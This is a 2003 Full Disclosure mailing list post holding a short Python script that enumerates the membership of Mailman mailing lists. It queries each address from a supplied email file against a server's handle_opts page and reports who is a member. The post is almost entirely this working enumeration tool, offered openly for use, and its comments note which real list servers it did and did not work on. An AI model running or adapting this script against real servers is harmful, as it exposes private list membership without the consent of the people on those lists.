Full Disclosure mailing list archives

pip


From: huw <trippz () overflow org>
Date: Fri, 13 Jun 2003 07:47:19 -0400 (EDT)

# life's a garden, dig it.
# works on lists.netsys.com, doesn't on lists.immunitysec.com
# spose they fixed it!
import sys,urllib
if len(sys.argv) < 4:
        print "pipermail enumeration"
        print "./pip <host> <list of emails> <name of list>"
        sys.exit(0)
host = sys.argv[1]
list = sys.argv[3]
emails = open(sys.argv[2],"r").read().split('\n')
for t in emails:
        member = 0
        # print t
        req = "http://%s/mailman/handle_opts/%s/"; % (host,list)
        req += t
        sent = urllib.urlopen(req)
        data = sent.read().split('\n')
        for r in data:
                if r.find(t) != -1:
                        member += 1
        if member == 0:
                print "%s is a member!" % t
        else:
                print "%s is NOT a member" % t


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: